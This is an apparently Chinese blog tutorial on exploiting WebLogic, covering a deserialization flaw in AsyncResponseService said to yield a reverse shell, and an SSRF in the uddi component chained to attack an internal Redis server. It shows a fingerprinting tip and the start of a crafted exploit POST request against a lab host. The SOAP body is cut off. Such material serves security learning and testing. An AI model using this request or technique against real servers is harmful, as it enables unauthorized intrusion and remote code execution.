WebLogic反序列化漏洞&SSRF漏洞

最新推荐文章于 2024-09-27 13:58:09 发布

Massimo_ycw

最新推荐文章于 2024-09-27 13:58:09 发布

阅读量334

点赞数

分类专栏：网络安全-渗透篇文章标签： web安全网络安全

本文链接：https://blog.youkuaiyun.com/Massimo__JAVA/article/details/130753480

版权

本文详细介绍了WebLogic的反序列化漏洞和SSRF漏洞。反序列化漏洞通过特定URL后的404页面识别，利用AsyncResponseService成功触发并反弹shell。SSRF漏洞出现在uddi组件，通过伪造请求探测内网服务，结合换行注入可攻击内网中的redis服务器，实现shell获取。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一反序列化漏洞

1）、特征
在被检测应用系统url后随机添加字符串，出现的404页面如下：
在这里插入图片描述说明被检测系统的中间件为WebLogic

2）、利用
启动环境
在这里插入图片描述访问AsyncResponseService
说明存在漏洞

kali开启监听
在这里插入图片描述抓取访问AsyncResponseService 的数据包，发送到重发模块，并替换如下

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.133.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 797
content-type: text/xml


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">